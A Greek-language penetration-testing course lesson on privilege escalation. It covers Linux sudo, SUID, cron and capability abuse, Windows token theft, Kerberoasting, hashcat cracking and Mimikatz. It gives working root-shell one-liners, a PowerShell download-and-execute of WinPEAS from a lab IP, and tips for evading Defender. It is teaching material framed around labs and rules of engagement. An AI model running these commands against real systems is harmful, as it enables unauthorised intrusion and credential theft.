Κλιμάκωση προνομίων — Έννοιες
Έχετε μια πρόσβαση. Ωραία. Όμως ένας λογαριασμός user δεν αξίζει όσο ένας λογαριασμός root, SYSTEM ή admin de domaine. Αυτή την εβδομάδα, περνάμε από το «έχω ένα shell» στο «είμαι ο κύριος της μηχανής». Χωρίς αυτό, το υπόλοιπο pentest είναι θέατρο.
Η κλιμάκωση προνομίων ασκείται στις VM του lab (Metasploitable 2/3, HackTheBox retired boxes, VulnHub), ή σε αποστολή υπό RoE. Ένα mimikatz σε έναν σταθμό που δεν επιτρέπεται να αγγίξετε είναι ομοσπονδιακό αδίκημα σε αρκετές χώρες.
Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα
- Χρήση των
linpeasκαιwinpeasχωρίς να πνιγείτε στην έξοδό τους. - Αναγνώριση πέντε κλασικών μονοπατιών Linux:
sudo, SUID, cron, capabilities, kernel exploits. - Αναγνώριση τεσσάρων κλασικών μονοπατιών Windows: υπηρεσίες με κακές ACL, DLL hijacking, tokens προς κλοπή, Kerberoasting.
- Σπάσιμο εκτός σύνδεσης hashes με
hashcat(μορφές NTLM, sha512crypt, kerberos-tgs). - Χρήση του Mimikatz σωστά, κατανόηση του γιατί προκαλεί τόσο φόβο όσο και ικανοποίηση.
- Συγγραφή ενός ευρήματος κλιμάκωσης που έχει αξία σε αναφορά.
1. Η κοινή λογική
Η κλιμάκωση προνομίων ακολουθεί τρεις συστηματικές ερωτήσεις:
- «Τι δικαίωμα έχω να κάνω με αυτόν τον λογαριασμό;» —
id,whoami,sudo -l,whoami /priv. - «Τι κάνει το σύστημα, ως προνομιούχο, που μπορώ να επηρεάσω;» — cron root, προγραμματισμένη εργασία SYSTEM, υπηρεσία που φορτώνει μια DLL.
- «Τι βρίσκεται στη μνήμη, μπορώ να το αγγίξω;» — LSASS σε Windows,
/proc/*/environσε Linux, μυστικά εφαρμογών.
Αυτές οι τρεις ερωτήσεις, σε βρόχο, σε κάθε στόχο. Το υπόλοιπο είναι τεχνογνωσία.
2. Linux — τα πέντε κλασικά μονοπάτια
2.1. sudo -l — η πόρτα ορθάνοιχτη
sudo -l
Τυπική έξοδος:
User bob may run the following commands on this host:
(root) NOPASSWD: /usr/bin/vim
Αυτή είναι μια άμεση κλιμάκωση. sudo vim ως root, στη συνέχεια μέσα στο vim:
:!bash
Ένα shell root. Τέλος. Κάθε διαδραστική εντολή που μπορεί να κάνει shell-out έχει το ίδιο αποτέλεσμα: less, more, awk, find, nmap (παλιό), perl, python, ruby.
Αναφορά που πρέπει να γνωρίζετε: GTFOBins. Βάση δεδομένων δυαδικών αρχείων που, όταν έχουν κακή ρύθμιση στο sudo, ανοίγουν ένα shell root.
2.2. Κακώς τοποθετημένα SUID
Το bit SUID (s αντί για x) κάνει ένα αρχείο να εκτελείται με τα δικαιώματα του ιδιοκτήτη του — συχνά root.
find / -perm -4000 -type f 2>/dev/null
Κλασική έξοδος (Metasploitable 2):
/usr/bin/nmap
/usr/bin/python
/usr/bin/rlogin
/bin/mount
/bin/su
Ένα παλιό nmap SUID root δέχεται μια διαδραστική λειτουργία που κάνει shell-out. Ένα python SUID root είναι ένα shell root σε μία γραμμή:
/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/bash")'
Το GTFOBins απαριθμεί τα κόλπα για κάθε δυαδικό αρχείο. Συμβουλευτείτε το πριν εφεύρετε κάτι.
2.3. Cron με σχετικές διαδρομές
cat /etc/crontab
ls -la /etc/cron.d/
Πιθανή έξοδος:
* * * * * root backup.sh
Αν το backup.sh βρίσκεται σε έναν φάκελο του $PATH που εσείς μπορείτε να τροποποιήσετε — ή αν το /etc/crontab αναφέρει το backup.sh χωρίς απόλυτη διαδρομή — καταθέτετε το δικό σας παγιδευμένο backup.sh και περιμένετε το επόμενο λεπτό.
Έκδοση με απόλυτη διαδρομή αλλά εγγράψιμο script:
ls -la /opt/backup/run.sh
-rwxrwxr-x root root run.sh
Η εγγραφή από την ομάδα = τζάκποτ. Προσθέστε:
echo "cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash" >> /opt/backup/run.sh
Ένα λεπτό αργότερα:
/tmp/rootbash -p
whoami
# root
2.4. Capabilities
Οι file capabilities του Linux (man 7 capabilities) δίνουν λεπτομερή δικαιώματα. Ορισμένες είναι επικίνδυνες:
getcap -r / 2>/dev/null
Παράδειγμα εξόδου:
/usr/bin/python3.10 = cap_setuid+ep
Το cap_setuid στο Python σημαίνει ότι η Python μπορεί να καλέσει setuid(0) χωρίς να είναι root εξαρχής. Μονοπάτι κλιμάκωσης:
python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Άλλες επιθετικές capabilities: cap_dac_read_search (ανάγνωση όλων, συμπεριλαμβανομένου του /etc/shadow), cap_sys_admin (σχεδόν τα πάντα).
2.5. Exploits του πυρήνα
Όταν όλα τα υπόλοιπα αποτύχουν, ο πυρήνας. Ελέγξτε την έκδοση:
uname -a
cat /etc/os-release
Στη συνέχεια αναζητήστε:
searchsploit "linux kernel <version>"
Σε έναν πυρήνα 2.6.24 όπως το Metasploitable 2, υπάρχουν exploits με το κιλό (Dirty Cow, sock_diag_handlers, perf_swevent). Σε έναν πρόσφατο πυρήνα, το αντίθετο — τα exploits πυρήνα είναι ακριβά και σπάνια.
Προσοχή: ένα exploit πυρήνα ρίχνει το σύστημα σε μία περίπτωση στις πέντε. Σε pentest πελάτη, ποτέ χωρίς ρητή εξουσιοδότηση του RoE, ποτέ κατά τη διάρκεια της ημέρας.
2.6. LinPEAS — το εργαλείο απογραφής
Το linpeas.sh σαρώνει τα παραπάνω σημεία και πολλά άλλα. Αποτέλεσμα σε 3-5 λεπτά.
# Από το Kali, σερβίρετέ το
python3 -m http.server 8000
# Στον στόχο
wget http://10.10.10.5:8000/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh -a | tee /tmp/linpeas.out
Βασική γραμμή στην έξοδο:
[+] Interesting files/paths owned by me
[+] Files with SUID bit
[+] Sudo version
[+] Kernel exploits (linux-exploit-suggester)
Το LinPEAS απαριθμεί, δεν αξιολογεί. Ένα [+] SUID: /usr/bin/passwd είναι ψευδώς θετικό — είναι φυσιολογικό το passwd να είναι SUID. Φιλτράρετε με το χέρι.
3. Windows — τα τέσσερα κλασικά μονοπάτια
3.1. Υπηρεσίες με κακές ACL
# Σε PowerShell στον στόχο
Get-Service | Where-Object {$_.StartType -eq 'Automatic'}
# Για κάθε υπηρεσία, έλεγχος των ACL του δυαδικού αρχείου
$svcs = Get-CimInstance Win32_Service
foreach ($s in $svcs) {
$path = $s.PathName -replace '"' -replace ' .*'
if (Test-Path $path) {
(Get-Acl $path).Access | Where-Object { $_.IdentityReference -match "Everyone|Users|Authenticated" }
}
}
Αν μια υπηρεσία που τρέχει ως LocalSystem έχει το δυαδικό της αρχείο τροποποιήσιμο από Users, αντικαθιστάτε το δυαδικό αρχείο με το payload σας, επανεκκινείτε την υπηρεσία, και το SYSTEM πέφτει.
3.2. DLL hijacking
Ένα εκτελέσιμο φορτώνει μια DLL με όνομα (kernel32.dll, mydll.dll) χωρίς απόλυτη διαδρομή. Τα Windows αναζητούν με τη σειρά: φάκελος του εκτελέσιμου, System32, SysWOW64, PATH.
Αν ένας από τους φακέλους αναζήτησης είναι εγγράψιμος από εσάς και η εφαρμογή τρέχει ως admin, καταθέτετε την παγιδευμένη mydll.dll και περιμένετε.
Εντοπισμός με procmon: φιλτράρετε στο NAME NOT FOUND + .dll ενώ η εφαρμογή ξεκινά.
3.3. Tokens προς κλοπή
Στα Windows, όταν ένας admin συνδέεται (ακόμα και μέσω RDP), το token πρόσβασής του βρίσκεται στη μνήμη. Μια διεργασία SYSTEM μπορεί να κάνει impersonate αυτό το token και να γίνει αυτός ο admin.
Από το Meterpreter:
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "ACME\admin"
meterpreter > getuid
Server username: ACME\admin
Είστε admin domain, χωρίς να έχετε δει τον κωδικό πρόσβασής του.
3.4. Kerberoasting
Σε ένα Active Directory, κάθε λογαριασμός υπηρεσίας (svc_sql, svc_backup) έχει ένα Service Principal Name (SPN). Κάθε πιστοποιημένος χρήστης μπορεί να ζητήσει ένα εισιτήριο Kerberos (TGS) κρυπτογραφημένο με το hash του κωδικού πρόσβασης του λογαριασμού. Αυτό το εισιτήριο μπορεί να σπάσει εκτός σύνδεσης.
# Από το Kali, με impacket
impacket-GetUserSPNs -request -dc-ip 192.168.100.10 acme.local/user:password
Έξοδος: εισιτήρια έτοιμα να σπάσουν από το hashcat -m 13100. Οι λογαριασμοί υπηρεσιών έχουν συχνά αδύναμο κωδικό πρόσβασης (τοποθετημένο πριν από 10 χρόνια, ποτέ αλλαγμένο).
Αυτή είναι η επίθεση νούμερο 1 στα AD το 2026. Ο μέσος CISO δεν την γνωρίζει.
3.5. WinPEAS
Το αντίστοιχο Windows του LinPEAS. Στον στόχο:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.5:8000/winPEAS.ps1')
Τυπική έξοδος: δεκάδες χιλιάδες γραμμές. Φιλτράρετε:
[+] AlwaysInstallElevated— σπάνιο αλλά εκρηκτικό τζάκποτ (msiεγκαθίστανται ως SYSTEM από οποιονδήποτε χρήστη).[+] Unquoted Service Path— υπηρεσίες με μη εισαγωγικά διαδρομή και κενά.[+] Modifiable Registry— υπηρεσίες των οποίων η ρύθμιση μπορεί να ξαναγραφτεί.[+] Autologon credentials— κωδικοί πρόσβασης σε καθαρό κείμενο στο registry.- Αποτελέσματα Potentially exploitable — προς επικύρωση ένα προς ένα.
4. Σπάσιμο hashes εκτός σύνδεσης
Το κύριο πλεονέκτημα του σπασίματος εκτός σύνδεσης: ο στόχος δεν βλέπει τίποτα. Κανένας λογαριασμός δεν κλειδώνει.
4.1. Οι μορφές που πρέπει να γνωρίζετε
| Μορφή | Προέλευση | Λειτουργία Hashcat | Ταχύτητα RTX 4090 |
|---|---|---|---|
| NTLM | Τοπικά Windows, hashdump | -m 1000 | ~200 GH/s |
| NetNTLMv2 | Responder/relay | -m 5600 | ~3 GH/s |
| Kerberos TGS-REP | Kerberoasting | -m 13100 | ~1 GH/s |
| AS-REP | AS-REP roasting | -m 18200 | ~1 GH/s |
| sha512crypt | Linux /etc/shadow σύγχρονο | -m 1800 | ~130 KH/s |
| bcrypt | Εφαρμογές web | -m 3200 | ~200 KH/s |
| MySQL | v5+ | -m 300 | ~200 GH/s |
Τάξη μεγέθους: NTLM = πολύ γρήγορο, bcrypt/sha512crypt = πολύ αργό (εκ σχεδιασμού).
4.2. Κλασικές επιθέσεις
Ωμό λεξικό:
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
Λεξικό + κανόνες (παραλλαγές: κεφαλαίο, ψηφίο στο τέλος, l33t):
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule
Μάσκα — όταν υποψιάζεστε μια πολιτική:
# 8 χαρακτήρες, με κεφαλαίο στην αρχή, ψηφία στο τέλος
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?d?d?d
Συνδυαστική επίθεση:
# Δύο λεξικά σε cross-product
hashcat -m 1000 hashes.txt -a 1 wl1.txt wl2.txt
4.3. Οι κανόνες που πρέπει να γνωρίζετε
best64.rule— 64 γενικοί κανόνες. Καλός συμβιβασμός.OneRuleToRuleThemAll.rule— 52 χιλιάδες κανόνες. Αργό αλλά πολύ αποτελεσματικό.dive.rule— τεράστιο, πολύ εντατικό.
Για εταιρικές πολιτικές, γράφουμε τον δικό μας κανόνα: Ete2025! = βάση Ete + 2025 + ! = επαναλαμβανόμενο μοτίβο.
5. Mimikatz — το εργαλείο που άλλαξε τα Windows
Γράφτηκε από τον Benjamin Delpy το 2011, αποκαλύπτοντας ότι τα Windows διατηρούσαν τους κωδικούς πρόσβασης σε καθαρό κείμενο στη μνήμη (LSASS). Η Microsoft χρειάστηκε 5 χρόνια για να αντιδράσει. Το Mimikatz παραμένει το εργαλείο αναφοράς για την εξαγωγή διαπιστευτηρίων Windows.
Τι ξέρει να κάνει το Mimikatz:
sekurlsa::logonpasswords— εξάγει όλους τους κωδικούς πρόσβασης των ενεργών συνεδριών.sekurlsa::tickets— εξάγει τα εισιτήρια Kerberos στη μνήμη.lsadump::sam— κάνει dump την τοπική SAM (όπως το hashdump).lsadump::dcsync— παριστάνει έναν ελεγκτή domain και ζητά την αναπαραγωγή ενός λογαριασμού (συμπεριλαμβανομένου του hash τουkrbtgt= Golden Ticket).sekurlsa::pth— Pass-the-Hash (πιστοποίηση με NTLM χωρίς κωδικό πρόσβασης).kerberos::golden— πλαστογραφεί ένα Golden Ticket (μόνιμη πρόσβαση σε ένα AD).
Τεχνικά, διαβάζει το LSASS.exe (τη διεργασία που διαχειρίζεται τις πιστοποιήσεις) μέσω των API των Windows.
Εντοπισμός: το Defender το γνωρίζει απ' έξω, μπλοκάρεται αμέσως. Περνάμε μέσα από:
- Προσαρμοσμένη μεταγλωττισμένη έκδοση (επαναμεταγλώττιση με τροποποιημένα strings).
- Φόρτωση στη μνήμη μέσω
Invoke-Mimikatz(PowerShell). - Σύγχρονο υποκατάστατο: Rubeus (Kerberoasting, χειρισμός εισιτηρίων σε C#), SharpHound (συλλέκτης BloodHound).
Ηθικό πλαίσιο: Mimikatz σε VM lab, ναι. Mimikatz σε παραγωγικό περιβάλλον πελάτη, μόνο αν το RoE το επιτρέπει ρητά. Το εργαλείο είναι εργαλείο επιτιθέμενου, ενεργοποιεί όλους τους συναγερμούς.
6. BloodHound — ο χάρτης του domain
Το BloodHound δεν εξάγει διαπιστευτήρια, χαρτογραφεί τις σχέσεις σε ένα Active Directory:
- Ποιος είναι διαχειριστής τίνος.
- Ποιοι λογαριασμοί μπορούν να κάνουν RDP σε ποιες μηχανές.
- Ποιες ομάδες περιέχουν ποιους χρήστες.
- Ποιες GPO εφαρμόζονται πού.
Αυτός ο χάρτης αποκαλύπτει μονοπάτια επίθεσης που κανείς δεν βλέπει με το χέρι. Παράδειγμα: «Ο χρήστης Bob (απλός λογαριασμός) → μέλος της ομάδας Marketing → η ομάδα Marketing μπορεί να τροποποιήσει τις GPO του διακομιστή SRV-01 → ο SRV-01 είναι διαχειριστής του domain».
Συλλέκτης: SharpHound.exe -c All.
Διεπαφή: Neo4j + BloodHound GUI. Έτοιμα ερωτήματα: «Find Shortest Paths to Domain Admins from Owned».
Το 2026, ένας pentester AD χωρίς BloodHound είναι ένας ελλιπής pentester.
7. Το εύρημα κλιμάκωσης — τι πρέπει να περιέχει η αναφορά
Κάθε εύρημα κλιμάκωσης = μια κάρτα:
## Κλιμάκωση — <σύντομος τίτλος>
- Αρχικός λογαριασμός: <user>
- Τελικός λογαριασμός: <root / SYSTEM / Domain Admin>
- Μονοπάτι (αριθμημένο):
1. Ανακάλυψη: ...
2. Εκμετάλλευση: ...
3. Επιβεβαίωση: ...
- Εντολές που εκτελέστηκαν (πλαίσιο):
```
sudo -l
sudo vim -c ':!bash'
```
- Επιχειρησιακός αντίκτυπος: ανάγνωση του X, έλεγχος του Y, πιθανή επιμονή (persistence).
- Σύσταση: αφαίρεση της γραμμής sudoers, ή μετάβαση σε αποκλειστικό λογαριασμό.
Μια αναφορά με 15 «εντοπισμένες κλιμακώσεις» χωρίς αυτές τις κάρτες δεν αξίζει τίποτα.
8. Τα λάθη προς αποφυγή
- Να ρίχνετε το LinPEAS και να μη φιλτράρετε τίποτα. Ο πελάτης βλέπει 400 γραμμές θορύβου, αναρωτιέται τι είναι πραγματικά κρίσιμο.
- Χρήση exploit πυρήνα χωρίς εξουσιοδότηση. Ρίχνετε το παραγωγικό περιβάλλον, η αποστολή σταματά εκεί.
- Σπάσιμο ενός hash και χρήση του απευθείας στην πύλη αντί να παραμείνετε εσωτερικά. Δημιουργείτε logs παντού.
- Ξεχνάτε να καθαρίσετε. Καταθέσατε ένα
/tmp/rootbashSUID για την επίδειξη, θυμηθείτε να το διαγράψετε πριν φύγετε. - Δεν ξαναδιαβάζετε το GTFOBins. Εφευρίσκετε μια περίπλοκη εκμετάλλευση για ένα
findSUID ενώ το GTFOBins δίνει την ακριβή γραμμή.
9. Τι πρέπει να θυμάστε
- Τρεις ερωτήσεις σε βρόχο: τα δικαιώματά μου, τι κάνει το σύστημα για μένα, τι βρίσκεται στη μνήμη.
- Linux:
sudo -l, SUID, cron, capabilities, kernel. Με αυτή τη σειρά προτεραιότητας. - Windows: υπηρεσίες με κακές ACL, DLL hijacking, tokens, Kerberoasting.
- Το Hashcat είναι φίλος σας. Γνωρίστε τις 5 κύριες λειτουργίες απ' έξω.
- Το Mimikatz είναι ισχυρό, θορυβώδες. Το 2026, προτιμήστε Rubeus + BloodHound.
- Μια αναφορά κλιμάκωσης = αριθμημένες κάρτες, με αντίκτυπο και διόρθωση.
Επόμενο μάθημα: ρίχνουμε πέντε κλιμακώσεις (Linux + Windows), χαρτογραφούμε ένα AD με το BloodHound, εξαναγκάζουμε ένα Kerberoast.